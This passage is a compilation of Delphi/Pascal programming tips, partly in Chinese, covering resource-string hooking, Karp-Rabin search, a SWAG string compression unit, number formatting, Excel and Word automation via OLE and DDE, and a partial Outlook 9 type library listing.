Result := Format('%.2f KB', [i64Size / i64KB])

else

Result := IntToStr(i64Size) + ' Byte(s)';

end;


运行的时候，改变资源字符串的值

change resource strings at run-time?

uses

Consts;

procedure TForm1.Button1Click(Sender: TObject);

begin

InputBox('Test', 'Enter something', 'Test');

end;

procedure HookResourceString(rs: PResStringRec; newStr: PChar);

var

oldprotect: DWORD;

begin

VirtualProtect(rs, SizeOf(rs^), PAGE_EXECUTE_READWRITE, @oldProtect);

rs^.Identifier := Integer(newStr);

VirtualProtect(rs, SizeOf(rs^), oldProtect, @oldProtect);

end;

const

NewOK: PChar = 'New Ok';

NewCancel: PChar = 'New Cancel';

initialization

HookResourceString(@SMsgDlgOK, NewOK);

HookResourceString(@SMsgDlgCancel, NewCancel);

end.


Karp-Rabin字符串快速搜索算法

Karp-Rabin字符串快速搜索算法

Karp-Rabin string searching

Do you need a fast routine that searches a string within a string? Try the Karp-Rabin algorithm:

function search (pat: PATTERN; Text: Text) : integer;

const

b = 131;

var

hpat,

htext,

Bm,

j,

m,

n : integer;

found : Boolean;

begin

found := False;

search := 0;

m := length (pat);

if m = 0 then

begin

search := 1;

found := true

end;

Bm := 1;

hpat := 0;

htext := 0;

n := length (Text);

if n >= m then

{*** preprocessing ***}

for j := 1 to m do

begin

Bm := Bm * b;

hpat := hpat * b + ord (pat[j]);

htext := htext * b + ord (Text[j])

end;

j := m;

{*** search ***}

while not found do

begin

if (hpat = htext) and (pat = substr (Text, j - m + 1, m)) then

begin

search := j - m + 1;

found := true

end;

if j < n then

begin

j := j + 1;

htext := htext * b - ord (Text[j - m]) * Bm + ord (Text[j])

end

else

found := true

end

end;


字符串压缩算法

标题: 字符串压缩算法

Contributor: SWAG SUPPORT TEAM

{You won't get that sort of compression from my routines, but here

they are anyway. When testing, you'll get best compression if you

use English and longish Strings.

}

Unit Compress;

Interface

Const

CompressedStringArraySize = 500; { err on the side of generosity }

Type

tCompressedStringArray = Array[1..CompressedStringArraySize] of Byte;

Function GetCompressedString(Arr : tCompressedStringArray) : String;

Procedure CompressString(st : String; Var Arr : tCompressedStringArray;

Var len : Integer);

{ converts st into a tCompressedStringArray of length len }

Implementation

Const

FreqChar : Array[4..14] of Char = 'etaonirshdl';

{ can't be in [0..3] because two empty bits signify a space }

Function GetCompressedString(Arr : tCompressedStringArray) : String;

Var

Shift : Byte;

I : Integer;

ch : Char;

st : String;

b : Byte;

Function GetHalfNibble : Byte;

begin

GetHalfNibble := (Arr[I] shr Shift) and 3;

if Shift = 0 then begin

Shift := 6;

inc(I);

end else dec(Shift,2);

end;

begin

st := '';

I := 1;

Shift := 6;

Repeat

b := GetHalfNibble;

if b = 0 then

ch := ' '

else begin

b := (b shl 2) or GetHalfNibble;

if b = $F then begin

b := GetHalfNibble shl 6;

b := b or GetHalfNibble shl 4;

b := b or GetHalfNibble shl 2;

b := b or GetHalfNibble;

ch := Char(b);

end else

ch := FreqChar[b];

end;

if ch <> #0 then st := st + ch;

Until ch = #0;

GetCompressedString := st;

end;

Procedure CompressString(st : String; Var Arr : tCompressedStringArray;

Var len : Integer);

{ converts st into a tCompressedStringArray of length len }

Var

I : Integer;

Shift : Byte;

Procedure OutHalfNibble(b : Byte);

begin

Arr[len] := Arr[len] or (b shl Shift);

if Shift = 0 then begin

Shift := 6;

inc(len);

end else dec(Shift,2);

end;

Procedure OutChar(ch : Char);

Var

I : Byte;

bych : Byte Absolute ch;

begin

if ch = ' ' then

OutHalfNibble(0)

else begin

I := 4;

While (I<15) and (FreqChar[I]<>ch) do inc(I);

OutHalfNibble(I shr 2);

OutHalfNibble(I and 3);

if I = $F then begin

OutHalfNibble(bych shr 6);

OutHalfNibble((bych shr 4) and 3);

OutHalfNibble((bych shr 2) and 3);

OutHalfNibble(bych and 3);

end;

end;

end;

begin

len := 1;

Shift := 6;

fillChar(Arr,sizeof(Arr),0);

For I := 1 to length(st) do OutChar(st[I]);

OutChar(#0); { end of compressed String signaled by #0 }

if Shift = 6

then dec(len);

end;

end.

测试压缩字符串

Contributor: SWAG SUPPORT TEAM

Program TestComp; { tests Compression }

{ kludgy test of Compress Unit }

Uses Crt, Dos, Compress;

Const

NumofStrings = 5;

Var

ch : Char;

LongestStringLength,I,j,len : Integer;

Textfname,Compfname : String;

TextFile : Text;

ByteFile : File;

CompArr : tCompressedStringArray;

st : Array[1..NumofStrings] of String;

Rec : SearchRec;

BigArr : Array[1..5000] of Byte;

Arr : Array[1..NumofStrings] of tCompressedStringArray;

begin

Writeln('note: No I/O checking in this test.');

Write('Test ompress or nCompress? ');

Repeat

ch := upCase(ReadKey);

Until ch in ['C','U',#27];

if ch = #27 then halt;

Writeln(ch);

if ch = 'C' then begin

Writeln('Enter ',NumofStrings,' Strings:');

LongestStringLength := 0;

For I := 1 to NumofStrings do begin

Write(I,': ');

readln(st[I]);

if length(st[I]) > LongestStringLength then

LongestStringLength := length(st[I]);

end;

Writeln;

Writeln('Enter name of File to store unCompressed Strings in.');

Writeln('ANY EXISTinG File With THIS NAME WILL BE OVERWRITTEN.');

readln(Textfname);

assign(TextFile,Textfname);

reWrite(TextFile);

For I := 1 to NumofStrings do

Writeln(TextFile,st[I]);

close(TextFile);

Writeln;

Writeln('Enter name of File to store Compressed Strings in.');

Writeln('ANY EXISTinG File With THIS NAME WILL BE OVERWRITTEN.');

readln(Compfname);

assign(ByteFile,Compfname);

reWrite(ByteFile,1);

For I := 1 to NumofStrings do begin

CompressString(st[I],CompArr,len);

blockWrite(ByteFile,CompArr,len);

end;

close(ByteFile);

FindFirst(Textfname,AnyFile,Rec);

Writeln;

Writeln;

Writeln('Size of Text File storing Strings: ',Rec.Size);

Writeln;

Writeln('Using Typed Files, a File of Type String[',

LongestStringLength,

'] would be necessary.');

Writeln('That would be ',

(LongestStringLength+1)*NumofStrings,

' long, including length Bytes.');

Writeln;

FindFirst(Compfname,AnyFile,Rec);

Writeln('Size of the Compressed File: ',Rec.Size);

Writeln;

Writeln('Now erase the Text File, and run this Program again, choosing');

Writeln('nCompress to show that the Compression retains all info.');

end else begin { ch = 'U' }

Write('Name of Compressed File: ');

readln(Compfname);

assign(ByteFile,Compfname);

reset(ByteFile,1);

blockread(ByteFile,BigArr,Filesize(ByteFile));

close(ByteFile);

For j := 1 to NumofStrings do begin

I := 1;

While BigArr[I] <> 0 do inc(I);

move(BigArr[1],Arr[j],I);

move(BigArr[I+1],BigArr[1],sizeof(BigArr));

end;

For I := 1 to NumofStrings do

st[I] := GetCompressedString(Arr[I]);

For I := 1 to NumofStrings do

Writeln(st[I]);

end;

end.


格式化数据为固定宽度字符串

现在有一个问题

我想显示固定长度的数据，比如7位，但是有可能是小数或整数，不知如何实现

举例：150.000 0.03000 12.3400 0012345

注：小数超过长度的，从后面四舍五入，取到7位为止（不考虑整数位超过7位情况）

function FixFormat(const Width: integer; const Value: Double): string;overload;

var

Len: integer;

begin

Len := Length(IntToStr(Trunc(Value)));

Result := Format('%*.*f', [Width,Width-Len, Value]);

end;

function FixFormat(const Width:integer;const Value:integer):string;overload;

begin

Result :=Format('%.*d',[Width,Value]);

end;


Excel Application

使用Delphi 5.0最新提供的Servers栏控件可以很容易开发OLE自动化控制器实现对OLE自动化服务器的调用，发挥Word、Excel、Powerpoint的强大功能，从而起到在自己程序中操纵Office 的目的，以下是操纵Excel的几个简单的操作，如有疑问，可来信询问。

方法如下：

1、创建一个普通Application。

2、在Form中分别放入ExcelApplication, ExcelWorkbook和ExcelWorksheet。

3、对Excel的一些操作，具体方法如下：

【打开Excel97】

        ExcelApplication1.Connect;

        ExcelApplication1.Visible[0]:=True;

【增加一个Workbook】

        ExcelWorkbook1.ConnectTo(ExcelApplication1.Workbooks.Add(EmptyParam,0));

【添加一个Worksheet】

    var　　Temp_Worksheet: _WorkSheet;

    begin

        Try

            Temp_Worksheet:=ExcelWorkbook1.

            WorkSheets.Add(EmptyParam,EmptyParam,EmptyParam,EmptyParam,0) as _WorkSheet;//(注意)

            ExcelWorkSheet1.ConnectTo(Temp_WorkSheet);

        Except

            ShowMessage('Failure');

        End;

    end;

【关闭Excel】

        ExcelApplication1.Quit;

        ExcelWorksheet1.Disconnect;

        ExcelWorkbook1.Disconnect;

        ExcelApplication1.Disconnect;

【选择当前Workbook的某一Worksheet】

    procedure TForm1.ComboBox1DropDown(Sender: TObject);

    var

        i: Integer;

    begin

        ComboBox1.Clear;

        For i:=1 to ExcelWorkbook1.Worksheets.Count do

            ComboBox1.Items.Add((ExcelWorkbook1.Worksheets.Item[i] as _WorkSheet).Name);

    end;

    procedure TForm1.ComboBox1Change(Sender: TObject);

    begin

        ExcelWorkSheet1.ConnectTo(ExcelWorkbook1.Worksheets.Item [ComboBox1.ItemIndex+1] as _WorkSheet);

        ExcelWorkSheet1.Activate;

    end;

【选择某一Workbook】

    procedure TForm1.ComboBox2DropDown(Sender: TObject);

    var

        i: Integer;

    begin

        ComboBox2.Clear;

        if ExcelApplication1.Workbooks.Count >0 then

        For i:=1 to ExcelApplication1.Workbooks.Count do

        Combobox2.Items.Add(ExcelApplication1.Workbooks.Item[i].Name);

    end;

    procedure TForm1.ComboBox2Change(Sender: TObject);

    begin

        ExcelWorkSheet1.Disconnect;

        ExcelWorkBook1.ConnectTo(ExcelApplication1.Workbooks.Item[Combobox2.ItemIndex+1]);

        ExcelWorkBook1.Activate;

        ExcelWorksheet1.ConnectTo(ExcelWorkBook1.ActiveSheet as _WorkSheet);

        ExcelWorkSheet1.Activate;

    end;

【对某一单元格进行赋值及取值】

    procedure TForm1.Button5Click(Sender: TObject);

    begin

        ExcelWorksheet1.Cells.Item[SpinEdit2.Value,SpinEdit1.Value]:=Edit1.Text;

    end;

    procedure TForm1.Button6Click(Sender: TObject);

    begin

        Edit1.Text:=ExcelWorksheet1.Cells.Item[SpinEdit2.Value,SpinEdit1.Value];

    end;

【选择某一区域】

    ExcelWorkSheet1.Range['A1','C1'].Select;

【打开一个Excel文件】

    if OpenDialog1.Execute then

    Begin

            ExcelWorkBook1.ConnectTo(

                  ExcelApplication1.Workbooks.Open(

                        OpenDialog1.FileName,EmptyParam,EmptyParam,EmptyParam,

                        EmptyParam,EmptyParam,EmptyParam,EmptyParam,EmptyParam,

                        EmptyParam,EmptyParam,EmptyParam,EmptyParam,0));

            ExcelWorkSheet1.ConnectTo(ExcelWorkBook1.Activesheet as _Worksheet);

    End;

【存入一个Excel文件】

    procedure TForm1.button6Click(Sender: TObject);

    var

        i,row,column:integer;

    begin

        Try

            ExcelApplication1.Connect;

        Except

            MessageDlg('Excel may not be installed',mtError, [mbOk], 0);

            Abort;

        End;

        ExcelApplication1.Visible[0]:=True;

        ExcelApplication1.Caption:='Excel Application';

        ExcelApplication1.Workbooks.Add(Null,0);

        ExcelWorkbook1.ConnectTo(ExcelApplication1.Workbooks[1]);

        ExcelWorksheet1.ConnectTo(ExcelWorkbook1.Worksheets[1] as _Worksheet);

        Table1.Open;

        row:=1;

        While Not(Table1.Eof) do

        begin

            column:=1;

            for i:=1 to Table1.FieldCount do

            begin

                ExcelWorksheet1.Cells.Item[row,column]: =Table1.fields[i-1].AsString;

                column:=column+1;

            end;

            Table1.Next;

            row:=row+1;

        end;

    End;

【打印预览一个Excel文件】

    procedure TForm1.Button7Click(Sender: TObject);

    begin

        ExcelWorksheet1.PrintPreview;

    end;

【打印一个Excel文件】

    procedure TForm1.Button8Click(Sender: TObject);

    begin

        ExcelWorksheet1.PrintOut;

    end;

【说明】

    这些程序在Win98+Delphi 5+Excel 97下运行通过。这些例子还可以作适当的扩充，如DDE、执行宏调用、保存文件、打印文件及对Excel的设置等，其具体的实现及设置方法请参阅Microsoft Excel Visual Basic参考中的Microsoft Excel对象。


Word的DDE

回复人：dingsg111(飞天)　(2001-7-13 10:48:51) 得0分

Windows支持三种基本的IPC（进程间通信）机制：动态链接库（DLL）中的共享数据段、Windows剪贴版(Clipboard)和动态数据交换DDE(Dynamic

Data Exchange)。许多著名的Windows应用程序如Microsoft

Word等都宣布支持DDE技术，并在程序中嵌入了DDE消息处理函数。而此类应用程序单在DDE技术上讲大多是作为一个DDE服务器形式存在的，这就允许用户通过自行编制的一些外围软件以DDE客户的身份对其进行连接，并通过向DDE服务器程序发送一些特定的宏命令来完成对服务器程序的动态控制，本文就以常用的Microsoft

Word为例，讲述了在Delphi 5.0编程环境下如何编制DDE客户程序，使其动态控制Microsoft Word的一般方法。

二、 DDE的工作原理

DDE顾名思义，是提供对不同程序在运行期间实现对数据的动态交换的一种通用技术。Windows消息虽然是在不同程序窗口间传送信息的最佳手段，但一条消息只能包含两个参数（wParam和lParam），不能传送较多的信息。内存块是存放较多信息的重要手段，但不支持全局内存句柄的共享。DDE正是建立在Windows内部消息系统、全局原子和共享全局内存基础上的一种协议，用来协调Windows应用程序之间的数据交换和命令调用。

DDE协议使用三级命名：服务（service）、主题(topic)和数据项（item）来标识DDE所传递的数据单元。服务使应用程序具有了提供给其他程序的数据交换能力，一般服务就是应用程序的文件名，如Word的服务就是是Winword(可执行文件是Winword.exe)；主题是对服务器有意义的信息单元，对于Word文档就是很好的主题，许多服务器都有默认的主题System,但无法知道服务器确切有那些主题，除非查阅应用程序的相关技术文档。每次DDE客户与服务程序之间的对话都是先由客户启动的，所以在每次客户启动之前，DDE服务器必须先投入运行，下面是一个典型的DDE会话流程的事务组成：

。客户程序自动会话，服务器程序响应。

。客户和服务器用下述方法交换数据：

。服务器应客户的请求向客户发送数据；

。客户主动想服务器发送数据；

。客户要求服务器在数据修改时发送数据（热数据连接）；

。客户要求服务器在数据修改后发送通知（温数据连接）；

。在客户的要求下，服务器执行一个命令。

。由客户或服务器中止会话。

三、 设计思路

首先，在开发工具的选择上，选择了提供有现成的DDE 系列组件的 Borland Delphi 5.0。既然以Microsoft

Word作为要连接的服务器，在与其建立连接之前要先设定好连接的服务与主题，由于本例只要求通过本程序控制Word的一些操作动作，如打开新文件、关闭文件、插入表格等等，所以可以分别设定这两项为："Winword"和"System"，当设置好连接后就可以通过Delphi提供的DDEClientConv组件的OpenLink函数打开与这个服务的连接，剩下的工作就是向Word服务器发送宏命令，并通过组件向其发送执行宏的命令即可，用该组件的函数ExecuteMacro来实现之。

四、程序的实现

（一） 加入DDE客户端组件

新建一App工程WordDDE，然后在Component

Palette组件条的System属性页里选择DdeClientConv组件，并把它拖放到窗体上。修改其Name 属性为DDEClient。

（二） 添加同DDE服务进行交互的代码

在工程上添加一个过程RunMacro，用于打开同Word服务器的链接，并通知服务器执行由Macro标识的宏命令，让Word按用户的意图完成响应的动作。完成之后由客户方断开这次连接，完成一次会话。下面是上述过程的实现代码：

procedure TForm1.RunMacro(Macro:pChar);

var pMacro:array[0..80] of Char;

begin

DDEClient.SetLink('Winword','System');{设置连接}

DDEClient.OpenLink;{按设置打开连接}

StrPCopy(pMacro,Macro);

if Not DDEClient.ExecuteMacro(pMacro,false) then{执行宏命令}

ShowMessage('Unable to Execute Macro');

DDEClient.CloseLink;{断开连接}

end;

（三） 宏命令的执行

宏（Macro）是客户程序要服务器完成的一些操作指令，对与特定的Microsoft Word

而言无非是些打开文件、插入分割符、复制粘贴字符等一些字处理方面的宏命令，这些宏命令完成的功能大多在Word的菜单下都能找到与之相匹配的菜单。如"关闭文件"菜单完成的功能就可以通过宏[FileClose]来完成。可以向窗口添加一个按钮或是菜单然后在其处理函数中添加执行宏的代码如下：

procedure TForm1.N2Click(Sender: TObject);

begin

RunMacro('[FileNew]');{让Word创建一个新文件，宏[FileNew]由函数RunMacro通知Word}

end;

Word下有许多可供传送执行的宏命令，现将一些常用的宏罗列如下，以备实际编程时选用：

[FileNew] …… 创建新文件

[FileClose] …… 关闭文件

[FileSave] …… 保存文件

[FilePrint] …… 打印文件

[FileExit] …… 退出Word

[File1] …… 打开最近打开的文件，相应还有[File2]、[File3]等等

[EditCut] …… 剪切操作

[EditCopy] …… 复制操作

[EditPaste] …… 粘贴操作

[EditUndo] …… 恢复上一步

[EditRedo] …… 重做上一步

[EditClear] …… 清除操作

[EditSelectAll] …… 全选操作

[ViewNormal] …… 正常视图

[ViewPage] …… 页面视图

[ViewOutLine] …… 大纲视图

[InsertBreak] …… 插入分割符

[InsertIndex] …… 插入索引

[FormatNumber] …… 格式化项目符号和编号

[ToolsOptions] …… 工具的选项

[TableInsertTable] …… 插入表格

[TableInsertRow] …… 插入行

[TableDeleteRow] …… 删除行

[TableSplit] …… 拆分表格

[TableSelectRow] …… 选择行

[TableSelectColumn] …… 选择列

[TableSelectTable] …… 选择表格

[TableSort] …… 排序

[WindowNewWindow] …… 新建窗口

[Window1] …… 最近打开的窗口，响应还有[Window2]、[Window3]等等

[HelpIndex] …… 帮助的索引

[HelpAbout] …… 帮助的关于

小结：DDE技术向用户提供了一种更加集成的工作环境，最适合于不需要用户参与的动态数据交换。

通过上述这个例子，对DDE 的工作原理和编程思想有了一定的认识之后，可以用类似的方法实现同其他程序如Microsoft

Execl的DDE动态交互。该程序在Windows 98下，由Borland Delphi 5.0编译通过。


Outlook TypeLib(MSOUTL9.OLB)

Outlook; // Microsoft Outlook 9.0 Object Library

Enum OlActionCopyLike;

olReply = 0;

olReplyAll = 1;

olForward = 2;

olReplyFolder = 3;

olRespond = 4;

Enum OlActionReplyStyle;

olOmitOriginalText = 0;

olEmbedOriginalItem = 1;

olIncludeOriginalText = 2;

olIndentOriginalText = 3;

olLinkOriginalItem = 4;

olUserPreference = 5;

olReplyTickOriginalText = $3E8;

Enum OlActionResponseStyle;

olOpen = 0;

olSend = 1;

olPrompt = 2;

Enum OlActionShowOn;

olDontShow = 0;

olMenu = 1;

olMenuAndToolbar = 2;

Enum OlAttachmentType;

olByValue = 1;

olByReference = 4;

olEmbeddeditem = 5;

olOLE = 6;

Enum OlBusyStatus;

olFree = 0;

olTentative = 1;

olBusy = 2;

olOutOfOffice = 3;

Enum OlDaysOfWeek;

olSunday = 1;

olMonday = 2;

olTuesday = 4;

olWednesday = 8;

olThursday = 16;

olFriday = 32;

olSaturday = 64;

Enum OlDefaultFolders;

olFolderDeletedItems = 3;

olFolderOutbox = 4;

olFolderSentMail = 5;

olFolderInbox = 6;

olFolderCalendar = 9;

olFolderContacts = 10;

olFolderJournal = 11;

olFolderNotes = 12;

olFolderTasks = 13;

olFolderDrafts = 16;

Enum OlDisplayType;

olUser = 0;

olDistList = 1;

olForum = 2;

olAgent = 3;

olOrganization = 4;

olPrivateDistList = 5;

olRemoteUser = 6;

Enum OlEditorType;

olEditorText = 1;

olEditorHTML = 2;

olEditorRTF = 3;

olEditorWord = 4;

Enum OlFlagStatus;

olNoFlag = 0;

olFlagComplete = 1;

olFlagMarked = 2;

Enum OlFolderDisplayMode;

olFolderDisplayNormal = 0;

olFolderDisplayFolderOnly = 1;

olFolderDisplayNoNavigation = 2;

Enum OlFormRegistry;

olDefaultRegistry = 0;

olPersonalRegistry = 2;

olFolderRegistry = 3;

olOrganizationRegistry = 4;

Enum OlGender;

olUnspecified = 0;

olFemale = 1;

olMale = 2;

Enum OlImportance;

olImportanceLow = 0;

olImportanceNormal = 1;

olImportanceHigh = 2;

Enum OlInspectorClose;

olSave = 0;

olDiscard = 1;

olPromptForSave = 2;

Enum OlItemType;

olMailItem = 0;

olAppointmentItem = 1;

olContactItem = 2;

olTaskItem = 3;

olJournalItem = 4;

olNoteItem = 5;

olPostItem = 6;

olDistributionListItem = 7;

Enum OlJournalRecipientType;

olAssociatedContact = 1;

Enum OlMailingAddress;

olNone = 0;

olHome = 1;

olBusiness = 2;

olOther = 3;

Enum OlMailRecipientType;

olOriginator = 0;

olTo = 1;

olCC = 2;

olBCC = 3;

Enum OlMeetingRecipientType;

olOrganizer = 0;

olRequired = 1;

olOptional = 2;

olResource = 3;

Enum OlMeetingResponse;

olMeetingTentative = 2;

olMeetingAccepted = 3;

olMeetingDeclined = 4;

Enum OlMeetingStatus;

olNonMeeting = 0;

olMeeting = 1;

olMeetingReceived = 3;

olMeetingCanceled = 5;

Enum OlNetMeetingType;

olNetMeeting = 0;

olNetShow = 1;

olChat = 2;

Enum OlNoteColor;

olBlue = 0;

olGreen = 1;

olPink = 2;

olYellow = 3;

olWhite = 4;

Enum OlObjectClass;

olApplication = 0;

olNamespace = 1;

olFolder = 2;

olRecipient = 4;

olAttachment = 5;

olAddressList = 7;

olAddressEntry = 8;

olFolders = 15;

olItems = 16;

olRecipients = 17;

olAttachments = 18;

olAddressLists = 20;

olAddressEntries = 21;

olAppointment = 26;

olMeetingRequest = 53;

olMeetingCancellation = 54;

olMeetingResponseNegative = 55;

olMeetingResponsePositive = 56;

olMeetingResponseTentative = 57;

olRecurrencePattern = 28;

olExceptions = 29;

olException = 30;

olAction = 32;

olActions = 33;

olExplorer = 34;

olInspector = 35;

olPages = 36;

olFormDescription = 37;

olUserProperties = 38;

olUserProperty = 39;

olContact = 40;

olDocument = 41;

olJournal = 42;

olMail = 43;

olNote = 44;

olPost = 45;

olReport = 46;

olRemote = 47;

olTask = 48;

olTaskRequest = 49;

olTaskRequestUpdate = 50;

olTaskRequestAccept = 51;

olTaskRequestDecline = 52;

olExplorers = 60;

olInspectors = 61;

olPanes = 62;

olOutlookBarPane = 63;

olOutlookBarStorage = 64;

olOutlookBarGroups = 65;

olOutlookBarGroup = 66;

olOutlookBarShortcuts = 67;

olOutlookBarShortcut = 68;

olDistributionList = 69;

olPropertyPageSite = 70;

olPropertyPages = 71;

olSyncObject = 72;

olSyncObjects = 73;

olSelection = 74;

olLink = 75;

olLinks = 76;

Enum OlOutlookBarViewType;

olLargeIcon = 0;

olSmallIcon = 1;

Enum OlPane;

olOutlookBar = 1;

olFolderList = 2;

olPreview = 3;

Enum OlRecurrenceState;

olApptNotRecurring = 0;

olApptMaster = 1;

olApptOccurrence = 2;

olApptException = 3;

Enum OlRecurrenceType;

olRecursDaily = 0;

olRecursWeekly = 1;

olRecursMonthly = 2;

olRecursMonthNth = 3;

olRecursYearly = 5;

olRecursYearNth = 6;

Enum OlRemoteStatus;

olRemoteStatusNone = 0;

olUnMarked = 1;

olMarkedForDownload = 2;

olMarkedForCopy = 3;

olMarkedForDelete = 4;

Enum OlResponseStatus;

olResponseNone = 0;

olResponseOrganized = 1;

olResponseTentative = 2;

olResponseAccepted = 3;

olResponseDeclined = 4;

olResponseNotResponded = 5;

Enum OlSaveAsType;

olTXT = 0;

olRTF = 1;

olTemplate = 2;

olMSG = 3;

olDoc = 4;

olHTML = 5;

olVCard = 6;

olVCal = 7;

Enum OlSensitivity;

olNormal = 0;

olPersonal = 1;

olPrivate = 2;

olConfidential = 3;

Enum OlSortOrder;

olSortNone = 0;

olAscending = 1;

olDescending = 2;

Enum OlTaskDelegationState;

olTaskNotDelegated = 0;

olTaskDelegationUnknown = 1;

olTaskDelegationAccepted = 2;

olTaskDelegationDeclined = 3;

Enum OlTaskOwnership;

olNewTask = 0;

olDelegatedTask = 1;

olOwnTask = 2;

Enum OlTaskRecipientType;

olUpdate = 2;

olFinalStatus = 3;

Enum OlTaskResponse;

olTaskSimple = 0;

olTaskAssign = 1;

olTaskAccept = 2;

olTaskDecline = 3;

Enum OlTaskStatus;

olTaskNotStarted = 0;

olTaskInProgress = 1;

olTaskComplete = 2;

olTaskWaiting = 3;

olTaskDeferred = 4;

Enum OlTrackingStatus;

olTrackingNone = 0;

olTrackingDelivered = 1;

olTrackingNotDelivered = 2;

olTrackingNotRead = 3;

olTrackingRecallFailure = 4;

olTrackingRecallSuccess = 5;

olTrackingRead = 6;

olTrackingReplied = 7;

Enum OlUserPropertyType;

olText = 1;

olNumber = 3;

olDateTime = 5;

olYesNo = 6;

olDuration = 7;

olKeywords = 11;

olPercent = 12;

olCurrency = 14;

olFormula = 18;

olCombination = 19;

Enum OlWindowState;

olMaximized = 0;

olMinimized = 1;

olNormalWindow = 2;

Enum OlSyncState;

olSyncStopped = 0;

olSyncStarted = 1;

Dispatch Action;

GUID={00063043-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get CopyLike: OlActionCopyLike;

property-put CopyLike(OlActionCopyLike);

property-get Enabled: bool;

property-put Enabled(bool);

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Name: BSTR;

property-put Name(BSTR);

property-get Prefix: BSTR;

property-put Prefix(BSTR);

property-get ReplyStyle: OlActionReplyStyle;

property-put ReplyStyle(OlActionReplyStyle);

property-get ResponseStyle: OlActionResponseStyle;

property-put ResponseStyle(OlActionResponseStyle);

property-get ShowOn: OlActionShowOn;

property-put ShowOn(OlActionShowOn);

function Delete;

function Execute: IDispatch;

Dispatch _Application;

GUID={00063001-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Assistant: ^Assistant;

property-get Name: BSTR;

property-get Version: BSTR;

function ActiveExplorer: ^_Explorer;

function ActiveInspector: ^_Inspector;

function CreateItem(ItemType:OlItemType): IDispatch;

function CreateItemFromTemplate(TemplatePath:BSTR; [InFolder:variant]): IDispatch;

function CreateObject(ObjectName:BSTR): IDispatch;

function GetNamespace(Type:BSTR): ^_NameSpace;

function Quit;

property-get COMAddIns: ^COMAddIns;

property-get Explorers: ^_Explorers;

property-get Inspectors: ^_Inspectors;

property-get LanguageSettings: ^LanguageSettings;

property-get ProductCode: BSTR;

property-get AnswerWizard: ^AnswerWizard;

property-get FeatureInstall: MsoFeatureInstall;

property-put FeatureInstall(MsoFeatureInstall);

function ActiveWindow: IDispatch;

Dispatch _NameSpace;

GUID={00063002-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get CurrentUser: ^Recipient;

property-get Folders: ^_Folders;

property-get Type: BSTR;

property-get AddressLists: ^AddressLists;

function CreateRecipient(RecipientName:BSTR): ^Recipient;

function GetDefaultFolder(FolderType:OlDefaultFolders): ^MAPIFolder;

function GetFolderFromID(EntryIDFolder:BSTR; [EntryIDStore:variant]): ^MAPIFolder;

function GetItemFromID(EntryIDItem:BSTR; [EntryIDStore:variant]): IDispatch;

function GetRecipientFromID(EntryID:BSTR): ^Recipient;

function GetSharedDefaultFolder(Recipient:^Recipient; FolderType:OlDefaultFolders): ^MAPIFolder;

function Logoff;

function Logon([Profile:variant; Password:variant; ShowDialog:variant; NewSession:variant]);

function PickFolder: ^MAPIFolder;

function RefreshRemoteHeaders;

property-get SyncObjects: ^SyncObjects;

function AddStore(Store:variant);

function RemoveStore(Folder:^MAPIFolder);

Dispatch Recipient;

GUID={00063045-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Address: BSTR;

property-get AddressEntry: ^AddressEntry;

property-putref AddressEntry(^AddressEntry);

property-get AutoResponse: BSTR;

property-put AutoResponse(BSTR);

property-get DisplayType: OlDisplayType;

property-get EntryID: BSTR;

property-get Index: I4;

property-get MeetingResponseStatus: OlResponseStatus;

property-get Name: BSTR;

property-get Resolved: bool;

property-get TrackingStatus: OlTrackingStatus;

property-put TrackingStatus(OlTrackingStatus);

property-get TrackingStatusTime: date;

property-put TrackingStatusTime(date);

property-get Type: I4;

property-put Type(I4);

function Delete;

function FreeBusy(Start:date; MinPerChar:I4; [CompleteFormat:variant]): BSTR;

function Resolve: bool;

Dispatch AddressEntry;

GUID={0006304B-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

